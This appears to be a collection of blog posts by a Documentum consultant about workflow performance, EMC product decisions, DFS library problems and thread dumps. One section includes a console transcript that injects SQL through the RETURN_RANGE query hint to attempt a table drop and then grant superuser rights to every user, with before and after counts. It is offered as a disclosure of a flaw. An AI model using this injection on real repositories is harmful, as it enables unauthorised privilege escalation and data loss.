Workflow throughput

Before doing something massive (updates, loads, migrations, etc) it is a good idea to perform some measurements in order to understand whether your strategy is correct or not, let me provide some examples.

About year ago my colleagues were trying to change a type of some set of documents (i.e. they just wrote a “CHANGE OBJECT” DQL query), that change worked smoothly on DEV and TEST environments, but when they tried to apply it on a STAGE environment it took 5 days 🙂 What was wrong? Obviously, my colleagues didn’t have knowledge about throughput of “CHANGE OBJECT” DQL query, actually, I still do not have such knowledge too, because for me it is not interesting, but I believe it’s throughput is comparable with object creation. That time the performance puzzle was solved by DevOps engineers: they had created a large IAPI scenario as was described in DQL update statement. Behind the scenes. blogpost and had taken advantage of my bash multiplexer 🙂

Second case: two years ago I was participating in project aimed to decommission old archiving system and replace it by Documentum, one of the plenty steps in run list was to migrate about 500 million documents from old system to Documentum (here I’m not sure why EMC didn’t suggest to use InfoArchive instead of Documentum – that project was a kind of reference project in AU), developers wrote a migration tool which had throughput about 20 documents per second, and that was a fail – 300 days ETA sounds ridiculous 🙂

Third case: bulk fetches

Now about blogpost topic: as I described previosely, workflow engine in Documentum is not well-balanced, so, in order to stop DDoSing JMS by e-mail notifications I introduced a noop method, which creates a synthetic queue. What is the performance impact of such implementation (i.e. what is the throughput of workflow agent when performing noop auto-activities)? The xCP1.6 Performance Tuning Guide, I advertised in previous blogpost states following:

My measurements are following:

  • Single workflow agent is able to perform about 30000 trivial (noop) auto-activities per hour
  • Single workflow agent is able to perform about 15000 non-trivial auto-activities per hour (actually, it depends on auto-activity – I just added a couple of interactions with CS)
  • It is a bad idea to configure more than 2 workflow agents per CPU core – the “idea of three services, which work sequentially” is wrong because both CS and JMS reside on the same host and consume more that 40% of CPU time:

When documentum had started dying

The initial idea was to write continuation for Dealing with workflow methods. Part I and Dealing with workflow methods. Part II blogposts, but today I have discovered that topic, I wanted to shed a light on, is already partially but correctly (sic!) covered in EMC’s documentation, because this blog pretends to contain original content only, I decided to not write a continuation for blogpost mentioned above, but instead of that desecrate Documentum’s corpse share some my observations.

Well, about three weeks ago my former colleague had complained to me about WF_SKIP_PARALLEL_TASK_EXECUTION parameter in dm_docbase_config, the gist of claim was the following: enabling WF_SKIP_PARALLEL_TASK_EXECUTION parameter dramatically increases pauses between two sequential manual workflow activities, actually, it was expressed using obscene language and was bit insulting, because I was a person who initiated the appearance of this parameter in Documentum. The story of this parameter is following: in 2012 we were trying to implement EDMS system based on Documentum in organisation with more than 50000 employees, that solution was initially designed for Documentum 5.3 and had never been running in distributed environment, moreover this solution was containing a lot of workflow templates utilizing following pattern:

Such pattern didn’t have any issues in Documentum 5.3, because in Documentum 5.3 workflow agent was never executing two auto-activities belonging to the same workflow in parallel, but in Documentum 6.7 (here I’m not sure about version, may be it was 6.6 or 6.5) EMC decided to “improve performance” of workflow engine, broke a lot of things, and one of them was a behaviour of workflow agent I described earlier, as the result auto-activities in our workflow templates started to compete for the same objects in database and we started getting a lot of DM_SYSOBJECT_E_VERSION_MISMATCH errors, when we asked support to return behaviour of workflow agent back we got a typical excuse that the new behaviour was correct and we was doing something wrong, the suggestion was to use com.documentum.fc.client.IDfPersistentObject#lock method to prevent DM_SYSOBJECT_E_VERSION_MISMATCH errors, unfortunately com.documentum.fc.client.IDfPersistentObject#lock method is completely unreliable and that time (i.e. in Documentum 6.7) it was not possible to implement controlled locks, so, I was continuing to urge support to return previous behaviour of workflow agent. And finally I had discovered a misbehaviour in workflow engine: when we completing workflow activity (doesn’t matter automatic or not) Content Server creates the next activity and updates dm_workflow object, so, when we simultaneously completing two workflow activities belonging to the same workflow we competing for dm_workflow object and may get DM_OBJ_MGR_E_VERSION_MISMATCH error – it is obviously a bug, but instead of fixing this bug buy putting extra locks on dm_workflow object EMC decided to introduce WF_SKIP_PARALLEL_TASK_EXECUTION parameter, which returns the previous behaviour of workflow agent, additionally I helped them to “fix” behaviour of workflow agent in distributed environment. The weird thing here is that they still not yet fixed workflow engine – WF_SKIP_PARALLEL_TASK_EXECUTION parameter does not prevent DM_OBJ_MGR_E_VERSION_MISMATCH errors in case of manual activities, moreover, now this workaround is enabled by default in Documentum 7.3.

As for my former colleague, I have formed an opinion that his complaints were groundless – who the heck cares about pauses between manual activities in case of production environment? Business users are not robots, they do not complete tasks as quick as thought – a couple of extra minutes won’t make sense, however a couple of extra minutes does make sense for QA team or some demonstration/presentation activities. And in order to prove this opinion I have started googling and have found a really useful document authored by EMC (sic!) – xCP1.6 Performance Tuning Guide (if it is unclear: WF_SKIP_PARALLEL_TASK_EXECUTION parameter disables on-demand processing):

Frankly speaking, this document (xCP1.6 Performance Tuning Guide) has really impressed me, I wouldn’t say that it is perfect but no doubts it is good – there are just a couple of points which require more thorough explanation, some examples:

Why did they suggest to “do not configure more than three threads per CPU core”? I have presented similar considerations in Ingestion rates blogpost: there are three services which perform a task: JMS, Content Server and RDBMS, and when one service waits for response from another one it does not consume CPU. Less obvious statement: “Avoid more than 25 workflow threads for any Content Server”. Why 25? Documentum 6.7 was bundled with 32-bit JDK, more threads on JMS would require more memory, but 32-bit JDK have about 3Gb memory limit.

Please note, that in 2011 xCP 1.6 was a flagman Documentum product, and it’s performance guide contains 90 pages of really useful information, now let’s compare it with flagman products in 2017 – xCP2 and D2:

  • xCP2.2 Performance Best Practices and Guidelines – 18 pages, primarily contain “never ever implement features we have sold to you” statements and xml configs
  • D2 Goblin Performance Best Practice – 15 (I have divided 30 by 2 due to poor document layout) pages of doubtful statements, for example:

    So, it doesn’t matter what operating system you are on and how many memory and CPU cores you have – you can’t serve more than 300 concurrent sessions by a single Content Server instance, what scaling are they talking about? Moreover, this recommendation is based on limitations of 32-bit builds of Content Server, which currently are not supported! How many Content Servers do I need to maintain if I want to implement Documentum solution for organization with 500000 employees? 10? 20? It is unmanageable!

So, what do we have? In 2011 documentation was admissible, in 2016 documentation is extremely poor. Below are my other observations:

In 2012, when we was implementing our “50000 employees” project we had faced with a plenty of stability and performance issues, actually it was hard to imagine that a product with 20 years of history could have such amount of problems, but it did, nevertheless close collaboration with support had provided some benefits: EMC had fixed all showstopper issues (about 20-30% of overall stability and performance issues) and we had gone into production, I wouldn’t say that it was a pleasure to work with EMC support – support guys didn’t understand the obvious things and I wasted a lot of time for explaining how their product worked, for example, implementing of WF_SKIP_PARALLEL_TASK_EXECUTION feature, described earlier, had taken about three months and initially EMC positioned this feature as a workaround, but now it is enabled by default, but it worth to admit that in 2012 support did work, heavily, counterproductive, but did work.

It seems that in 2013 EMC had decided to cut off expenses and started doing weird things: they released D7 only for Linux and Windows, moreover, there was a statement that EMC would support only latests patchset within GA release (i.e. if you are on D6.7 and EMC releases D6.7SP1, D6.7 become unsupported) – extremely good perspective if take into account their release schedule: new release/patchset every year, among with throwing out support of DB2 and Sybase EMC revealed their plans on PostgreSQL, and finally, they announced an era of case management and released xCP2, which was completely unreliable and incompatible with other products. Technically, I would say that all those undertakings got failed, let’s elaborate. The most doubtful thing their is a PostgreSQL build – it has taken three yeas and, according to EMC, 100000 hours of engineering work (as for me it should not take more that 6 months) to release a full-functional PostgreSQL build, but it’s purpose is still obscure, really, I can’t understand EMC’s presuppositions: why did they think that customers who unable to pay for Oracle or MSSQL would prefer Documentum to free Alfresco CE? What is the reason to not support EnterpriseDB, based on PostgreSQL? Why after GA release they do not want to support PostgreSQL build?

Try to describe what is going on this photo:

The answer is following: EMC brought together existing customers and claiming: you know, we had following options to cut off your database licence fees:

but instead of that, if you want to cut off your database licence fees you need to invest into migration to database, which has no commercial support.

Moreover, I can’t believe that behaviour below is worth “100000 hours of engineering work”, it seems that Documentum was ported to PosgreSQL by PHP-programmers:

Connecting to Server using docbase DCTM_PSQL
[DM_SESSION_I_SESSION_START]info:  "Session 0102987880002902 started for user dm_bof_registry."


Connected to Documentum Server running Release 7.3.0000.0214  Linux64.Postgres
--
-- Amount of superusers in Documentum repository
--
1> select count(*) from dm_user where user_privileges=16
2> go
count       
------------
           1
(1 row affected)


--
-- Demonstration or how Content Server translates DQL query to SQL
--
1> select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')
2> go
[DM_QUERY_E_CURSOR_ERROR]error:  
   "A database error has occurred during the creation of a cursor 
   (' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s because other objects depend on it;
   Error while executing the query')."


1> exec get_last_sql
2> go
result
-------------------------------------------------------------------------------------------


select all CAST(count(*) as int) from dm_user_sp  dm_user order by 1;drop table dm_user_s; 1321 Commit 1321 Commit


(1 row affected)


--
-- Exploitation
--
1> select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;update dm_user_s set user_privileges=16;')
2> go
count       
------------
          67
(1 row affected)


--
-- Amount of superusers in Documentum repository after exploitation
--
1> select count(*) from dm_user where user_privileges=16
2> go
count       
------------
          67
(1 row affected)
1> 

xCP2 is also a bizarre marvel: I can’t deny a fact that having a robust platform in product portfolio is a good point, but how EMC was trying to did that raises a lot of questions. At first, if you want to demonstrate strengths of your platform you must to develop a robust OOTB solution, not your xCP 2.2 Tutorial – Concordant Insurance, which covers just a 10% of business needs, but real OOTB solution, unfortunately EMC had another opinion:

Where is an xCP2? It is been almost 4 years since EMC announced general availability of xCP2, but they still not yet adopted it, have you ever seen better advertisement? At second, all successful platforms (except MS Word), I have ever seen, didn’t start their triumphant march from GUI – all of them started from a robust API, but EMC had another vision: at first, we will create a GUI, after that, may be, we will create an API. And at third, it is always a good idea to neglect by wise suggestions (actually, here I’m not sure, because if I think that something should take about 6 months, it real life, from ECD perspective it takes three years) – 2013:

now:

Want to talk about InfoArchive, REST and other technologies? You are welcome 🙂

DFS challenge

Yesterday I read interesting opinion about DFS on ECN:

I would strongly advise against using DFS, you should check if the REST API fits your use case: DFS is built on outdated libraries and it is “difficult” to make it work in certain (most) environments and with any java version newer than 6.0

Unfortunately, it is only a half of truth – at current moment there are no reliable options to exchange data between Documentum and other systems, and the fact that DFS is unreliable does not make REST API robust. So, what is wrong with DFS? I believe “DFS is built on outdated libraries” means following: DFS client libraries depend on ancient version of jaxws-rt, i.e. 2.1.7, and when we try to run DFS client against recent version of jaxws-rt we get something like:

java.lang.NoSuchMethodError: com.sun.xml.ws.api.message.Message.getHeaders()Lcom/sun/xml/ws/api/message/HeaderList;
at com.emc.documentum.fs.rt.impl.pipe.DfsTube.processRequest(DfsTube.java:89)
at com.sun.xml.ws.api.pipe.Fiber.__doRun(Fiber.java:1136)
at com.sun.xml.ws.api.pipe.Fiber._doRun(Fiber.java:1050)
at com.sun.xml.ws.api.pipe.Fiber.doRun(Fiber.java:1019)
at com.sun.xml.ws.api.pipe.Fiber.runSync(Fiber.java:877)
at com.sun.xml.ws.client.Stub.process(Stub.java:463)
at com.sun.xml.ws.client.sei.SEIStub.doProcess(SEIStub.java:191)
at com.sun.xml.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler.java:108)
at com.sun.xml.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler.java:92)
at com.sun.xml.ws.client.sei.SEIStub.invoke(SEIStub.java:161)
at com.sun.proxy.$Proxy41.get(Unknown Source)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.emc.documentum.fs.rt.context.impl.compat.ClientReflectionServiceInvokerCompat60.invoke(ClientReflectionServiceInvokerCompat60.java:56)
at com.emc.documentum.fs.rt.context.impl.UcfClientInvocationHandler.invoke(UcfClientInvocationHandler.java:52)
at com.emc.documentum.fs.rt.context.impl.SoapClientInvocationHandler.invoke(SoapClientInvocationHandler.java:60)
at com.emc.documentum.fs.rt.context.impl.MtomCompatHandler60SP1.invoke(MtomCompatHandler60SP1.java:60)
at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:88)
at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
at com.sun.proxy.$Proxy25.get(Unknown Source)

which could be fixed via following code (technically it just recompiles the problem com.emc.documentum.fs.rt.impl.pipe.DfsTube#processRequest method agains recent version of jaxws-rt):

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class FixDfsTube {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        for (Class cls : new Class[] {ServiceContextAdapter.class,
            ThreadLocalContextStorage.class, Header.class, StringUtils.class,
            DOMHeader.class, ContentTransferModeUtil.class }) {
            pool.importPackage(cls.getPackage().getName());
        }

        String cls = DfsTube.class.getName();
        CtClass cc = pool.get(cls);
        CtMethod m = cc.getDeclaredMethod("processRequest");
        StringBuilder body = new StringBuilder();
        body.append("{\n");
        body.append("ServiceContextAdapter contextAdapter = (ServiceContextAdapter) ThreadLocalContextStorage\n");
        body.append("        .get();\n");
        body.append("String serviceName = $1.endpointAddress.getURL().getFile();\n");
        body.append("if (serviceName.endsWith(CONTEXT_REGISTRY_SERVICE_NAME)\n");
        body.append("        || serviceName.endsWith(AGENT_SERVICE_SERVICE_NAME)\n");
        body.append("        || contextAdapter == null) {\n");
        body.append("    return super.processRequest($1);\n");
        body.append("}\n");
        body.append("Header header;\n");
        body.append("if (StringUtils.isNotBlank(contextAdapter.getConsolidatedContext()\n");
        body.append("        .getToken())) {\n");
        body.append("    header = new DOMHeader(addTokenToHeader(contextAdapter\n");
        body.append("            .getConsolidatedContext().getToken()));\n");
        body.append("    $1.getMessage().getHeaders().add(header);\n");
        body.append("}\n");
        body.append("\n");
        body.append("if (!contextAdapter.isDeltaEmpty()) {\n");
        body.append("    header = new DOMHeader(\n");
        body.append("            createDeltaContextElement(contextAdapter.getDeltaContext()));\n");
        body.append("    $1.getMessage().getHeaders().add(header);\n");
        body.append("}\n");
        body.append("if (ContentTransferModeUtil.isMtomTransfer(contextAdapter)) {\n");
        body.append("    enableMtom($1);\n");
        body.append("} else {\n");
        body.append("    disableMtom($1);\n");
        body.append("}\n");
        body.append("return super.processRequest($1);\n");
        body.append("}");
        m.setBody(body.toString());

        String resourceName = DfsTube.class.getName().replace(".", "/")
                + ".class";
        URL resourceURL = DfsTube.class.getResource("/" + resourceName);
        JarURLConnection connection = (JarURLConnection) resourceURL
                .openConnection();
        URL jarURL = connection.getJarFileURL();
        String fileName = jarURL.getFile();
        ZipFile zipFile = new ZipFile(fileName);
        ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(fileName
                + ".patched"));
        for (Enumeration e = zipFile.entries(); e.hasMoreElements();) {
            ZipEntry entryIn = (ZipEntry) e.nextElement();
            if (!entryIn.getName().equals(resourceName)) {
                zos.putNextEntry(new ZipEntry(entryIn.getName()));
                InputStream is = zipFile.getInputStream(entryIn);
                byte[] buf = new byte[1024];
                int len;
                while ((len = is.read(buf)) > 0) {
                    zos.write(buf, 0, len);
                }
            } else {
                zos.putNextEntry(new ZipEntry(resourceName));
                zos.write(cc.toBytecode());
            }
            zos.closeEntry();
        }
        zos.close();
    }

}

Enjoy 🙂

First OpenText document

OpenText have shared their first Documentum-related document: D2 Goblin Performance Best Practice, actually some statements in that document are arguable, some are wrong, some look like somebody in EMC have read my blogpost – I’m going to clarify the most of performance parameters in next blogpost, because this blogpost is not about performance but about document’s appearance. I can’t believe that it was possible to write document with such ugly layout – only half of page contains information:

DFS client performance

All that time I did think that it is not possible to impress me if we are dealing with performance in Documentum, but on the last week my colleagues did that 🙂 Their problem was following: my colleagues had implemented integration service which heavily uses Documentum Foundation Services and on the last week they have started experiencing difficulties with performance, from java side their observations were looking like:

"Thread-1739" daemon prio=10 tid=0x00002aaac0f09000 nid=0x34bc runnable [0x000000004487f000]
   java.lang.Thread.State: RUNNABLE
	at org.jboss.modules.ModuleClassLoader.loadResourceLocal(ModuleClassLoader.java:305)
	at org.jboss.modules.ModuleClassLoader$1.loadResourceLocal(ModuleClassLoader.java:84)
	at org.jboss.modules.Module.getResources(Module.java:592)
	at org.jboss.modules.ModuleClassLoader.findResources(ModuleClassLoader.java:489)
	at org.jboss.modules.ConcurrentClassLoader.getResources(ConcurrentClassLoader.java:288)
	at java.lang.ClassLoader.getResources(ClassLoader.java:1181)
	at com.documentum.fc.client.impl.bof.classmgmt.DelayedDelegationClassLoader.getResources(DelayedDelegationClassLoader.java:103)
	at com.sun.xml.ws.util.ServiceFinder$LazyIterator.hasNext(ServiceFinder.java:351)
	at com.sun.xml.ws.util.ServiceFinder.toArray(ServiceFinder.java:225)
	at com.sun.xml.ws.client.WSServiceDelegate.parseWSDL(WSServiceDelegate.java:265)
	at com.sun.xml.ws.client.WSServiceDelegate.<init>(WSServiceDelegate.java:228)
	at com.sun.xml.ws.client.WSServiceDelegate.<init>(WSServiceDelegate.java:176)
	at com.sun.xml.ws.spi.ProviderImpl.createServiceDelegate(ProviderImpl.java:104)
	at javax.xml.ws.Service.<init>(Service.java:77)
	at com.emc.documentum.fs.services.core.ObjectService.<init>(ObjectService.java:68)
	at sun.reflect.GeneratedConstructorAccessor530.newInstance(Unknown Source)
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.lang.reflect.Constructor.newInstance(Constructor.java:526)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:176)
	- locked <0x0000000709a71eb0> (a java.lang.Class for com.emc.documentum.fs.services.core.ObjectService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy166.get(Unknown Source)

...

"Thread-1737" daemon prio=10 tid=0x00002aaac0aa1000 nid=0x34ba waiting for monitor entry [0x0000000044d84000]
   java.lang.Thread.State: BLOCKED (on object monitor)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:171)
	- waiting to lock <0x0000000709b6e710> (a java.lang.Class for com.emc.documentum.fs.services.core.QueryService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy150.execute(Unknown Source)

...

"Thread-1736" daemon prio=10 tid=0x00002aaac141e000 nid=0x34b5 runnable [0x000000004054f000]
   java.lang.Thread.State: RUNNABLE
	at java.util.HashMap.initHashSeedAsNeeded(HashMap.java:337)
	at java.util.HashMap.inflateTable(HashMap.java:317)
	at java.util.HashMap.<init>(HashMap.java:296)
	at java.util.LinkedHashMap.<init>(LinkedHashMap.java:212)
	at sun.reflect.annotation.AnnotationParser.parseAnnotation2(AnnotationParser.java:270)
	at sun.reflect.annotation.AnnotationParser.parseAnnotations2(AnnotationParser.java:117)
	at sun.reflect.annotation.AnnotationParser.parseAnnotations(AnnotationParser.java:70)
	at java.lang.reflect.Field.declaredAnnotations(Field.java:1128)
	- locked <0x00000007b23b6590> (a java.lang.reflect.Field)
	at java.lang.reflect.Field.getDeclaredAnnotations(Field.java:1121)
	at java.lang.reflect.AccessibleObject.getAnnotations(AccessibleObject.java:197)
	at com.sun.xml.bind.v2.model.annotation.RuntimeInlineAnnotationReader.getAllFieldAnnotations(RuntimeInlineAnnotationReader.java:69)
	at com.sun.xml.bind.v2.model.annotation.RuntimeInlineAnnotationReader.getAllFieldAnnotations(RuntimeInlineAnnotationReader.java:53)
	at com.sun.xml.bind.v2.model.impl.ClassInfoImpl.findFieldProperties(ClassInfoImpl.java:371)
	at com.sun.xml.bind.v2.model.impl.ClassInfoImpl.getProperties(ClassInfoImpl.java:301)
	at com.sun.xml.bind.v2.model.impl.RuntimeClassInfoImpl.getProperties(RuntimeClassInfoImpl.java:176)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:243)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:100)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:209)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:95)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:315)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:270)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:100)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:209)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:95)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:315)
	at com.sun.xml.bind.v2.model.impl.TypeRefImpl.calcRef(TypeRefImpl.java:92)
	at com.sun.xml.bind.v2.model.impl.TypeRefImpl.getTarget(TypeRefImpl.java:69)
	at com.sun.xml.bind.v2.model.impl.RuntimeTypeRefImpl.getTarget(RuntimeTypeRefImpl.java:58)
	at com.sun.xml.bind.v2.model.impl.RuntimeTypeRefImpl.getTarget(RuntimeTypeRefImpl.java:51)
	at com.sun.xml.bind.v2.model.impl.ElementPropertyInfoImpl$1.get(ElementPropertyInfoImpl.java:74)
	at com.sun.xml.bind.v2.model.impl.ElementPropertyInfoImpl$1.get(ElementPropertyInfoImpl.java:77)
	at java.util.AbstractList$Itr.next(AbstractList.java:358)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:255)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:100)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:209)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:95)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:315)
	at com.sun.xml.bind.v2.model.impl.RegistryInfoImpl.<init>(RegistryInfoImpl.java:99)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.addRegistry(ModelBuilder.java:357)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:327)
	at com.sun.xml.bind.v2.runtime.JAXBContextImpl.getTypeInfoSet(JAXBContextImpl.java:441)
	at com.sun.xml.bind.v2.runtime.JAXBContextImpl.<init>(JAXBContextImpl.java:288)
	at com.sun.xml.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1111)
	at com.sun.xml.bind.v2.ContextFactory.createContext(ContextFactory.java:154)
	at com.sun.xml.bind.api.JAXBRIContext.newInstance(JAXBRIContext.java:106)
	at com.sun.xml.ws.developer.JAXBContextFactory$1.createJAXBContext(JAXBContextFactory.java:109)
	at com.sun.xml.ws.model.AbstractSEIModelImpl$1.run(AbstractSEIModelImpl.java:159)
	at com.sun.xml.ws.model.AbstractSEIModelImpl$1.run(AbstractSEIModelImpl.java:152)
	at java.security.AccessController.doPrivileged(Native Method)
	at com.sun.xml.ws.model.AbstractSEIModelImpl.createJAXBContext(AbstractSEIModelImpl.java:151)
	at com.sun.xml.ws.model.AbstractSEIModelImpl.postProcess(AbstractSEIModelImpl.java:94)
	at com.sun.xml.ws.model.RuntimeModeler.buildRuntimeModel(RuntimeModeler.java:255)
	at com.sun.xml.ws.client.WSServiceDelegate.createSEIPortInfo(WSServiceDelegate.java:698)
	at com.sun.xml.ws.client.WSServiceDelegate.addSEI(WSServiceDelegate.java:686)
	at com.sun.xml.ws.client.WSServiceDelegate.getPort(WSServiceDelegate.java:341)
	at com.sun.xml.ws.client.WSServiceDelegate.getPort(WSServiceDelegate.java:324)
	at com.sun.xml.ws.client.WSServiceDelegate.getPort(WSServiceDelegate.java:306)
	at javax.xml.ws.Service.getPort(Service.java:119)
	at com.emc.documentum.fs.services.core.QueryService.getQueryServicePort(QueryService.java:66)
	at sun.reflect.GeneratedMethodAccessor143.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:606)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:179)
	- locked <0x0000000709b6e710> (a java.lang.Class for com.emc.documentum.fs.services.core.QueryService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy150.execute(Unknown Source)

...

"EJB default - 5" prio=10 tid=0x0000000017f20000 nid=0x77a9 waiting for monitor entry [0x0000000043f75000]
   java.lang.Thread.State: BLOCKED (on object monitor)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:171)
	- waiting to lock <0x00000007098434a8> (a java.lang.Class for com.emc.documentum.fs.services.core.QueryService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
